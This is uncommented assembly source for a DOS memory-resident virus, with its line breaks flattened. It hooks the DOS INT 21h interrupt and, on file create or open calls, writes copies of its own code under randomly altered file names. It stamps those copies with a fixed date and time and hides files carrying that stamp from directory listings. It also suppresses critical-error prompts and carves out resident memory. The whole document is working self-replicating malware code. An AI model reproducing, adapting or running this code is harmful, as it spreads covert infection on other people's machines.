ideal @date = 0355h ;21.10.1981 @time = 8E79h ;17:51:50 model tiny codeseg startupcode jmp begin ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ macro intdos pushf call [dword cs:oi21] endm ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ i21: push ax xor al,al cmp ah,3ch jz okk cmp ah,5bh jz okk cmp ah,3dh jz okk inc al cmp ah,16h jz okk cmp ah,0fh jnz ov0 okk: jmp ok ov0: cmp ah,1ah jz setdta mov [byte cs:funct],12h cmp ah,12h jz fndf cmp ah,11h jz fndf mov [byte cs:funct],4fh cmp ah,4eh jz fndh cmp ah,4fh jz fndh ov: pop ax db 0eah oi21 dw 0 oi21s dw 0 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ setdta: mov [cs:dta],dx mov [cs:dta+2],ds jmp ov ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ fndh: pop ax fnd0: intdos jc fex pushf push si di es ds lds si,[dword cs:dta] compar: cmp [word si+16h],@time jnz f10 cmp [word si+18h],@date jnz f10 pop ds es di si popf lds dx,[dword cs:dta] db 0b4h funct db 4fh jmp fnd0 f10: pop ds es di si popf fex: push ax bp mov bp,sp lahf mov [ss:bp+8],ah pop bp ax iret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ fndf: pop ax fnf0: intdos and al,al jnz fex pushf push si di es ds lds si,[dword cs:dta] cmp [byte ds:si],0ffh jnz f21 add si,7 f21: inc si jmp compar ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ok: push bx cx dx si di ds es and al,al jz nex mov cx,6 mov ax,cs mov es,ax lea di,[ok1] mov si,dx rep cmpsw jnz nex pop es ds di si dx cx bx ax mov ax,1313h iret nex: xor ax,ax mov ds,ax mov ax,[ds:90h] push ax mov ax,[ds:92h] push ax mov [word ds:90h],offset i24 mov [word ds:92h],cs mov bx,[ds:46ch] mov ax,cs mov ds,ax mov es,ax test bx,6C1h jnz no_chg cmp [byte pauss],0 jz chg1 dec [byte pauss] jmp no_chg chg1: mov [pauss],80 xor al,al out 43h,al jcxz $+2 in al,40h mov bl,al in al,40h add al,bl and al,1fh cmp al,'Z'-'A' jbe xx1 sub al,'Z'-'A' xx1: add al,'A' std mov si,offset fname+6 lea di,[si+1] mov cx,7 rep movsb stosb no_chg: mov ah,5bh lea dx,[fname] mov cx,1 intdos jc term mov bx,ax mov ah,40h mov cx,offset endcod-100h mov dx,100h ; inc [cs:count] mov [cs:flag],0 intdos cmp ax,offset endcod-100h jnz ok1 mov [cs:flag],1 ok1: mov ax,5701h mov cx,@time mov dx,@date intdos mov ah,3eh intdos cmp [cs:flag],1 jz term lea dx,[fname] mov ax,4301h xor cx,cx intdos lea dx,[fname] mov ah,41h ; dec [cs:count] intdos term: xor ax,ax mov ds,ax pop ax mov [ds:92h],ax pop ax mov [ds:90h],ax ok0: pop es ds di si dx cx bx jmp ov driv db 0 flag db 0 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ i24: mov al,3 iret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ begin: mov ah,16h lea dx,[ok1] int 21h cmp ax,1313h jnz b01 b02: int 20h b01: mov ax,[ds:2ch] mov ds,ax xor si,si cld b04: lodsb and al,al jnz b04 lodsb and al,al jnz b04 inc si inc si b05: mov bx,si b06: lodsb cmp al,':' jz b05 cmp al,'\' jz b05 and al,al jnz b06 mov cx,si sub cx,bx mov si,bx mov di,offset fname rep movsb mov ah,2fh int 21h mov [cs:dta],bx mov [cs:dta+2],es mov [byte cs:pauss],0 mov ax,cs mov ds,ax dec ax mov es,ax mov cl,4 mov ax,offset endpr-100h add ax,15 shr ax,cl mov cx,[es:3] sub [es:3],ax mov bx,ax mov ax,cs add ax,[es:3] sub ax,10h mov [bseg],ax cmp [byte es:0],'Z' jz b10 push ds mov ax,cs add ax,cx mov ds,ax sub ax,bx mov es,ax sub ax,0fh mov [cs:bseg],ax xor si,si mov di,si mov cx,8 rep movsw add [es:3],bx sub [es:1],bx pop ds b10: mov ax,[bseg] mov es,ax mov si,100h mov di,si mov cx,offset endpr-100h rep movsb mov di,offset b03 xchg di,[0ah] xchg ax,[0ch] mov [es:oter],di mov [es:oter+2],ax ret b03: push ax bx ds es cs pop ds mov ax,3521h int 21h mov [oi21],bx mov [oi21s],es mov ax,2521h lea dx,[i21] int 21h pop es ds bx ax db 0eah endcod = $ oter dw 0 bseg dw ? count dw ? pauss db ? fname db 13 dup (?) dta dw ?,? endpr = $ end